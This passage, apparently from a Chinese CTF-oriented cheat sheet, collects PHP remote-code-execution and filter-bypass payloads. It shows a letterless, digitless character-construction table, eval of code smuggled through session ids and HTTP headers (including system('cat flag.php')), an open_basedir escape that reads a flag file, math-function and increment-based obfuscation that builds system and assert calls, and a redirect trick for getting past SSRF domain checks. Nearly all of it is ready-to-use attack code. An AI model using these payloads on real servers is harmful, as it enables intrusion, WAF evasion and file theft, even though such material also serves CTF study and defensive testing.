  64. $_5b = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1011 [
  65. $_5c = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1100
  66. $_5d = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1101 ]
  67. $_5e = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){0})';//0101 1110 ^
  68. $_5f = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}|((0/0).(1)){0})';//0101 1111 _
  69. $_60 = '(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 0000 `
  70. $a = '(((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1}';//0110 0001 a
  71. $b = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1})';//0110 0010 b
  72. $c = '((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))|((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0011 c
  73. $d = '(((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0110 0100 d
  74. $e = '((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11})';//0110 0101 e
  75. $f = '(((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0110 f
  76. $g = '(((0/0).(1)){1}|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0111 g
  77. $h = '(((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1000 h
  78. $i = '(((0/0).(1)){1}|((0).(9)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1001 i
  79. $j = '(((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 1010 j
  80. $k = '((9999999999*999999999).(0)){12}|((0/0).(1)){1}';//0110 1011 k
  81. $l = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|((((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))))';//0110 1100 l
  82. $m = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|(((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11}))';//0110 1101 m
  83. $n = '((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})';//0110 1110 n
  84. $o = '((3333/4).(0)){3}|((0/0).(1)){1}';//0110 1111 o
  85. $p = '((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0000 p
  86. $q = '((0).(0)){0}|((0/0).(1)){1}';//0111 0001 q
  87. $r = '((2).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0010 r
  88. $s = '((0/0).(1)){1}|((0).(2)){1}';//0111 0011
  89. $t = '((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0100 t
  90. $u = '((0/0).(1)){1}|((0).(4)){1}';//0111 0101
  91. $v = '((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0110 v
  92. $w = '((0/0).(1)){1}|((0).(6)){1}';//0111 0111
  93. $x = '((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 1000 x
  94. $y = '((0/0).(1)){1}|((0).(9)){1}';//0111 1001
  95. $z = '((((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))|(((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1010 z
  96. $_7b = '(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&((4).(0)){0}';//0111 1011 {
  97. $_7c = '(((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1100 |
  98. $_7d = '((1).(2)){1}|((1/0).(0)){0}';//0111 1101 }
  99. $_7e = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1110 ~
  100. $_7f = '(((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1}';//0111 1111 7f
  101. $_80 = '(((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))';//1000 0000
  102. $_ff = '(~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}';//1111 1111 ff

7.各种执行命令的特殊方法

(1)无参函数

常见函数:

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中指针所在的当前元素的值,初始指向插入到数组中的第一个元素。用next()或者prev()可以移动指针并输出。reset()和end()分别将指针指向第一个和最后一个元素并输出。each()返回当前元素键名和键值,并将指针向前移动。

scandir(\$dir,\$order)列出$dir目录下的文件和目录,返回数组:

  1. Array
  2. (
  3. [0] => .
  4. [1] => ..
  5. [2] => cat.gif
  6. [3] => dog.gif
  7. [4] => horse.gif
  8. [5] => myimages
  9. )

第二个参数是排序,0为正序,1为倒序

array_reverse() 反转数组

time() 返回当前时间,是自1970年到目前的秒数

chr(\$num) 返回$num的ascii码对应的字符


查看当前目录:var_dump(scandir(current(localeconv())));

读取倒数第二个文件:readfile(next(array_reverse(scandir(current(localeconv())))));

  1. readfile(next(array_reverse(scandir(getcwd()))));

还有session_id(session_start())也能够利用:

  1. url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
  2. payload = "echo 'sky cool';".encode('hex')
  3. cookies = {
  4. 'PHPSESSID':payload
  5. }

还有getallheaders,获取所有HTTP头参数,加上end()就是最后一组,因此最后一组可以自己控制:

  1. 请求头最后添加:
  2. hacker: system('cat flag.php');
  3. payload=eval(end(getallheaders()));

中间件为apache时:

  1. var_dump(get_defined_vars());

可以返回$_GET,$_POST,$_COOKIE,$_FILES,$_SESSION,$_REQUEST,$_SERVER等全局变量,可以在GET中添加参数进行RCE:

  1. ?code=var_dump(end(current(get_defined_vars())));&hack=phpinfo();

(2)绕过open_basedir

  1. chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

(3)php数学函数

  1. ?cmd=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs});&pi=system()&abs=ls /

(4)自增脚本

  1. $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//assert($_POST[_]);

(5)用chr(time())来产生.来读取文件

  1. readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));

(6)域名跳转(应该放在SSRF里)

如果限制了域名xxx.baidu.com,可以利用百度的跳转:

  1. https://www.baidu.com/link?url=w1-LGqOMWeSjD0ciAK9yBavAZRAeHbXiKNPeEkicXrulug0uo6_PD-kiguT6pVJN&wd=&eqid=ada158ea00375a58000000065d7baf02

百度搜索博客,点击博客后会先访问百度的跳转链接,然后再跳转到博客地址。这样就可以绕过限制访问可控的博客地址,但是只能访问博客首页(通常只有首页被收录)

(7)session反序列化RCE

https://www.anquanke.com/post/id/201177#h2-13

参考:

https://blog.csdn.net/qq_45521281/article/details/105585709

https://www.jianshu.com/p/a68f3f1f30eb

https://blog.frankli.site/2020/05/10/PHP%20Shell%20Bypass/

https://www.cnblogs.com/hookjoy/p/10395317.html

http://zhengbao.wang/%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97shell/

https://cloud.tencent.com/developer/article/1194018

https://mp.weixin.qq.com/s?__biz=MzI4NTE4NDAyNA==&mid=2650385301&idx=1&sn=3139acf7777bab5aa266756a27e7be68

全部留言 0